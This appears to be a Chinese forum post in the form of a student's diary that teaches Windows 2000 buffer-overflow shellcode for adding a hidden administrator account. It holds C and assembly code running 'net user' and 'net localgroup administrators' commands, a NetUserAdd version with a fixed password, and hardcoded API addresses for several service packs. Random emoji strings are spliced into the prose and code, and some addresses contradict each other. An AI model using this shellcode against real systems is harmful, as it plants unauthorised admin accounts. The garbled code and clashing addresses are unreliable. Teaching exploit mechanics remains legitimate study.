今天早点放学,我给大家再布置一个作业,回去独立完成一个ShellCode,功能是在系统上添加一个用户,并把它加成管理员身份,下节课我会让一位同学上台来给大家讲解他的完成过程。大家都要认真准备啊!不然上台说不出话来,被大家笑话就不好意思了吧!班上还有女生呢!0K,今天到此为止,放学!”
帖子热度 1.9万 ℃
|
|
添加用户ShellCode的编写 小强的日记之二——添加用户ShellCode的编写 9月23日阴 👦🎒🗝🙂👀 这几次课都在学习缓冲区溢出利用的编程,现在已经进入ShellCode的编写阶段了。经过这几次的学习,自己对ShellCode的编写有了初步了解,知道ShellCode是如何来的,感觉在老师的指导下又有了很大进步。但要搞懂整个技术还有很长的路要走,自己一步步来吧! 老师还布置了作业,留给我的一个是找Win2000SP2下LoadLibrary和system函数的地址;另一个是写一个在系统中添加一个管理员用户的ShellCode,并让人上台讲。在回家的路上,我就想,自己一定要认真准备准备,不然抽到了我,上去什么都说不出来,其不惨了? 回到家后,匆匆吃完饭,就坐到电脑前考虑这两个问题。🧑🍳🥼🩸🙃🙌 对第一个找函数地址的问题,比较简单。我把老师给的程序拷到Win2000SP2系统上,并加上找LoadLibrary的语句,得到GetLoadSysAdd.cpp,就像下图,然后编译、执行。 ![]() 这个程序有问题,system函数的地址找到了,是0x77E6A254,但LoadLibrary地址为0,表示没有找到。当时很奇怪,自己也一下子紧张了起来,马上上网找了很久才发现,在系统中是没有LoadLibrary这个函数的,只有LoadLibraryA和LoadLibraryW这两个函数,在ASCII参数时系统会用LoadLibraryA,在Unicode参数时会用LoadLibraryW。至于什么是ASCII,什么是Unicode,自己还不清楚,只有明天问老师了。👩✈️🥾📱🤤👀 于是我马上把程序改成LoadLibraryA并执行,这下正确了,如图。 ![]() 看到在Win2000SP2上,system函数地址为0x78019B4A,LoadLibraryA函数的地址为0x77E6A254,我忙把它们抄了下来。第一个问题总算解决了,长松了一口气,心里稍微平缓了些。 👎🚐🥣🈚🐂 然后我继续考虑第二个问题,编写添加用户的ShellCode。在Windows中添加用户,要么在控制面板里的“用户帐号”中添加,要么在DOS命令行下执行net user name /add;要把一个帐户添加到管理员,则要在DOS命令行下执行net localgroup administrators name /add。 看来这里只有使用命令行下的指令添加用户了。我仿照老师的步骤,先写出C的程序,然后改成汇编,最后提取出ShellCode。 🛑🍒🦄 和开DOS窗口的程序类似,添加一个名为“c”的管理员,其C程序代码如下: [mw_shl_code=c,true]#include<windows.h> intmain() {👩🩴🪗🤔👏 LoadLibrary("msvcrt.dll"); system("net user c /add"); system("net localgroup administrators c /add"); return0;🧑🎤🧬😃🤝 }[/mw_shl_code] 即执行用户添加命令,再将用户执行升为管理员。我测试了一下,将程序命名为“AddUserC.c”,编译执行,成功了!添加了一个名为“c”的管理员用户,如图。 ![]() 然后最困难的地方到了:把上面的程序改成汇编。 第一句“LoadLibrary(“msvcrt.dll”)”可以把老师给的程序抄过来。 第二、三句就要把老师给的代码稍微改一下,将参数改成这里的参数才行。 👩✈️🛍🪓😒🤞 对“system(〃net user c /add")”这句话,就按Windows系统执行函数的原理,先参数入栈,再CALL system函数的地址。这里的参数是“net user c /add”字符串的地址,所以先在栈中构造出“net user c /add”,即这样: [mw_shl_code=c,true]mov esp,ebp ; 把ebp的内容赋值给esp push ebp ; 保存ebp,esp则减4 mov ebp,esp ; 给ebp赋新值,将作为局部变量的基指针 🧠🌞🌰🅱🪰xor edi,edi ; push edi ; 压入0,esp-4,作用是构造字符串的结尾\0字符 push edi push edi push edi ; 加上上面,一共有16个字节,用来放“net user c /add”🧑💻💄🪟🤔🙏 mov byte ptr [ebp-0Fh],6eh ;n mov byte ptr [ebp-0eh],65h ;e mov byte ptr [ebp-0dh],74h ;t mov byte ptr [ebp-0ch],20h ; mov byte ptr [ebp-0bh],75h ;u🧑🎤🎩🗑😭👃 mov byte ptr [ebp-0ah],73h ;s mov byte ptr [ebp-09h],65h ;e mov byte ptr [ebp-08h],72h ;r mov byte ptr [ebp-07h],20h ; mov byte ptr [ebp-06h],63h ;c 🧠🎢🍭🅾🐋mov byte ptr [ebp-05h],20h ; mov byte ptr [ebp-04h],2Fh ;/ mov byte ptr [ebp-03h],61h ;a mov byte ptr [ebp-02h],64h ;d mov byte ptr [ebp-01h],0h ;0[/mw_shl_code] 🤞🏝🌶🉑🐮 字符串构造好后,再把ESP——现在“netuserc/add”串的地址作为参数,压入堆栈: [mw_shl_code=c,true]lea eax,[ebp-0fh] ; push eax ; 字符串地址作为参数入栈👨⚕️🩰🗑😪👃 ★ 最后CALL system函数的地址(即0x78019B4A): ★ mov eax, 0x78019B4A ; win2000 sp2 system函数地址 call eax ; 调用system[/mw_shl_code] ✍🛩🍏♾🐴 上面的代码弄了半天才弄好。测试了一下,先把另外两句保留,只把“system("net user c /add")”改为上面的汇编,得到“AddUserASM.cpp”,运行结果如图,成功了! ![]() 当看到“命令成功完成”的提示时,我难以抑止心中那种狂喜的冲动,从椅子上跳了起来,把手握成拳头从空中划过,大吼了一声“Yeah”!当时的心情只有经历过千辛万苦最后成功的人才能体会到。 🤟🌕🍓⚛🐤 那个时刻,我深深感受到了研究缓冲区编程的魅力。 父母推开门,问我发生了什么事,我笑了笑,告诉它们没什么,只是解决了一个技术问题。他们嘱咐我不要太累、注意早点休息后又出去了。心情稍平静后,我再次坐了下来,把剩下的“LoadLibrary("msvcrt.dll")”和“system("net localgroup administrators c /add")”也仿照着改为汇编,得到了“AddUserAllASM.cpp”,再次编译执行,还是成功了! 🖕🚂🫑✔🦕 可能因为刚才太过兴奋,这次我的心情没那么激动了。最后剩下的只有体力活了,我按老师讲的方法在VC中按F10键进入调试状态,把汇编对应的机器码抄下来,得到了自己写的第一个ShellCode。太有成就感了!提取出ShellCode后,把它存在“AddUserCode.cpp”里,但发现还不知道如何验证是否正确,明天去问问老师吧! ShellCode比较长,我抄了很久,抄完后觉得好累啊!一看表,不知不觉夜都深了,今天就到这里吧,休息了,明天继续认真听课。那个小倩,今天看了我两眼,不知是否对我也有感觉呢?不想了,继续努力吧!把握好大学这四年的时光,无悔这青春岁月。 到这里,我想起了一首诗。👮♂️🥼📮😀🤌 取天狼 昨夜小风残月,望断天狼斜射。 万里苍穹茫茫,吾心蓦然雄起。 直取天狼,天为证。 若是它年不出头,甘愿忍受一生愁。 男儿立志扫四方,天狼星,英雄取。 海到无边天做岸,山登至极我为峰。 好个海到无边天做岸,山登至极我为峰!以此句为座右铭,提醒自己,时时努力,不敢松懈! 小强的日记之三一添加用户的另一种方法👞💾💀👂 9月27日晴 今天是个艳阳天,就如同我的心情一样,晴空万里。 上午一大早我就去了教室,看了一会儿书,同学们才陆续到来。上课铃响后,老师走进了教室,问大家查找LoadLibrary和system函数地址的问题解决得怎么样。 👈🦀⁉🐴 大家都把system函数的地址找到了,并报了出来。而LoadLibrary的地址其他人都说没有找到,老师最后问到了我,我说内存中没有LoadLibrary的函数,只有LoadLibraryA和LoadLibraryW函数,我找了LoadLibraryA的地址。老师高兴的说:“就是这样的。” 🧑🚀💄🖥🤮👂 并解释道:“在Win2000下,系统只有LoadLibraryW的实现,LoadLibraryA只有一个壳。如果调用LoadLibraryA,其实也是系统自动把ASCII参数变为Unicode参数,再调用LoadLibraryW函数。”老师还把ASCII和Unicode的差别讲了一下。 小知识:ASCII和Unicode ASCII编码是用一个字节来表示字符,这样只有256种组合,能表达的字符有限。而Unicode是用两个字节(16位)来表示字符,这样共有65536种组合,可以表达完世界上的所有文字。为了世界化推广产品、减少成本以及提高效率,现在人们都更多的使用Unicode编码。👨🎨👠🔍🦴 Unicode只是一个字形和内码上的标准,并没有定义实际在电脑中存取的方法。因此,Unicode协会便定义了一整套存取Unicode编码的转换格式,称之为UTF,常用的格式有UTF-8和UTF-16。 接下来是讨论时间,老师找一位同学上去讲昨天的作业——添加用户的ShellCode的编写。当时老师环顾了一下大家,并问有没有同学自愿。我心里很矛盾,既想上去让大家看看我的成果,又怕讲得不好。最后在老师的再三激励以及小倩MM期待的目光下,我勇敢的站了起来,并在大家的掌声中走上了讲台。 🧒🧦🧪😒🤛 在台上,我把昨天在家中的分析和实现过程详细的说了一遍,并把提取出来的ShellCode拿给老师和同学们看,结果得到了老师和同学们的一致肯定和表扬。 就是在台上的时候太紧张了,下台坐好后,才发现自己一身的汗水,腿也在不断打颤,幸好大家都看不到,特别是小倩,不然多没面子啊!相信有了这次经验,下次要好得多,希望以后能有更多类似的锻炼机会。 最后老师还给出了一种新的添加用户的版本,其C代码如下:🧑🌾🩰🪗😶✌ [mw_shl_code=c,true]#ifndef UNICODE #define UNICODE #endif #include <stdio.h>🧑⚕️💍🗡😅🤛 #include <windows.h> #include <lm.h> #pragma comment(lib,"netapi32") int wmain() { 👂🚂🫑🈸🐅USER_INFO_1 ui; DWORD dwError = 0; ui.usri1_name = L"ww0830"; ui.usri1_password = L"ww0830"; ui.usri1_priv = USER_PRIV_USER;🧑⚕️👞🔌😷👎 ui.usri1_home_dir = NULL; ui.usri1_comment = NULL; ui.usri1_flags = UF_SCRIPT; ui.usri1_script_path = NULL; //添加名为ww0830的用户,密码也为ww0830 👏💈🍭❎🐙if(NetUserAdd(NULL, 1, (LPBYTE)&ui, &dwError) == NERR_Success) { //添加成功 printf("Add user success.\n"); }👦👙📏😋👈 else { //添加失败 printf("Add user Error!\n"); return 1;🧑🎤✒😍🖕 } wchar_t szAccountName[100]={0}; wcscpy(szAccountName,L"ww0830"); LOCALGROUP_MEMBERS_INFO_3 account; account.lgrmi3_domainandname=szAccountName; ✋🚗🍼🉑🐴 //把ww0830添加到Administrators组if(NetLocalGroupAddMembers(NULL,L"Administrators",3,(LPBYTE)&account,1)== NERR_Success ) { //添加成功 🧑🎤👖🎷😋🙏 printf("Add to Administrators success.\n"); return 0; } else { 👳👠💿🥰🙏 //添加失败 printf("Add to Administrators Fail!\n"); return 1; } }[/mw_shl_code] 🤳🚂🥄🆘🕊 这种方法用的是Netapi32.dll里的NetUserAdd和NetLocalGroupAddMembers函数。好酷啊!当时我就下定决心:自己会复杂ShellCode的编写后,一定要把它改为机器码的ShellCode。 不过我又想到,那些实际的ShellCode是怎样的呢?如果只是添加个用户,用处不是很大,于是我提出了自己的疑问。 👮♂️🪖📡🤔🙏 老师又表扬了我,说考虑得很全,并说下节课继续复杂的ShellCode的研究,写一个真正的ShellCode。看到小倩又看了我一眼,心里为之一动。她这一望,有什么意思呢?她也知道我的一片心情吗? 最远的距离不是天涯海角,而是在你身边却不知道我爱你。 可能以后自己会慢慢理解这句话吧! 👌🏝🍭♑🐠 可惜今天我要早点去亲戚家吃饭,下课后就急急忙忙的走了。 晚上去外婆家玩到很晚。一家人聚在一起吃饭很是热闹,很久没有这样放松过了。作业完成得很好,也可以好好的休息一下了,今天真是惬意啊! 🤳⛵🍟♑🦦 课后解惑 Q:我在Windows2000SP2版本下,查找到LoadLibraryA函数的地址是0x77E6A254,system函数的地址是0x78019B4A,都是正确的,但为什么我把ShellCode对应的地方改成“\x77\xE6\xA2\x54”和“\x78\x01\x9B\x4A”后,不能弹出DOS窗口呢? A:你把字节的顺序写反了,应该是“\x54\xA2\xE6\x77”和“\x4A\x9B\x01\x78”。 Q:哦!改动后的确能正确弹出DOS对话框了,但为什么顺序要是这样呢?好别扭啊!🧒🧣🎺🤡🤙 A:在Windows系统下,多字节数存放的规则是:数的高位放在内存高址,数的低位放在内存低址。对0x77E6A25478来说,0x77是最高位,所以要放在内存的高地址,而在字符串中,是按照内存从低到高排列的,所以要把0x77放在字符串中数的最后。在后面的章节中还会讲到。 Q:能不能给出一些系统下LoadLibraryA函数和system函数的地址值呢? A:好的。LoadLibraryA和system函数的地址在Win2000SP0下,分别是0x77E78023和0x7801AAAD;在SP2下分别是0x77E6A254和0x78019B4A;在SP3下分别是0x77E69F64和0x7801AFC3;在XPSP0下分别是0x77E605D8和0x77BF8044。 👨⚕️🥼🪝😋🧠 要注意的是,覆盖的跳转地址也要符合相应版本,最好使用通用地址。 Q:为什么LoadLibrary函数在系统里面有LoadLibraryA和LoadLibraryW两种实现?而system只有一个实现,没有systemA或systemW呢? A:问得好!这是因为在Windows下,存在几种编程接口。 🧑🎤👠🎺😊👍 一种是WindowsAPI函数。这类函数是和Windows系统相关的,使用的也是Windows下才特有的数据类型(比如CHAR)。API函数就存在A和W这两种实现,而LoadLibrary是API函数。 另一种是C运行链接库,是按照C语言的标准来实现的,所以只有小写字母,而且只有一种实现,比如system函数。 Q:那怎么区分API函数和C运行库函数呢?🧓👠📀💀👄 A:从函数的命名可以看出来。API函数遵循的是Windows自己定义的命名规范,是大小写混写的函数,如LoadLibrary;而在C语言标准中,规定函数名称都是小写,所以C运行库函数也遵循全是小写的规范,如system。 Q:为什么Windows会有两种命名规范呢? A:因为微软想遵循一种更科学的命名规范,所以规定了API函数命名法则;但为了保持和标准C语言的兼容,C运行库函数还是遵循了C语言标准的规定;所以存在了两种命名规范。 ✍⛵🌰➡🐂 Q:那我们自己编程时用那种命名规则呢? A:哈哈!命名规则应和所用的操作系统或开发工具的风格保持一致。例如,Windows应用程序的标识符通常用“大小写”混排的方式,如AddChild;而Unix应用程序的标识符用“小写加下划线”的方式,如add_child。别把这两类风格混在一起用。我们自己开发时,在Windows下建议使用“匈牙利”命名规则,类名和函数名用大写字母开头的单词组合而成,变量和参数用小写字母开头的单词组合而成,常量全用大写,全局变量加前缀“g”,类的数据成员加前缀"m_"。 Q:我们如何验证提取出的ShellCode是否正确呢?太容易抄错了。 🦴🦼🍚🚭🐶A:有两种方法。一种方法是在实际溢出程序中,使用提取出的ShellCode测试,看能否达到效果;另一种方法就是把ShellCode数组当成一个函数来执行,其实现办法会在下一章的“验证ShellCode功能方法”中讲到。 Q:好像ShellCode里面不能有0x00,为什么呢?怎么避免呢? A:因为0x00是字符串的结束符,如果ShellCode中存在,就会被截断;我们会在ShellCode变形大法一章中详细的讲解如何避免0x00的方法。 🧑🎤👓🪦😉🖐 |
|
楼主,是你让我深深地理解了'人外有人,天外有天’这句话。谢谢你! #365:
|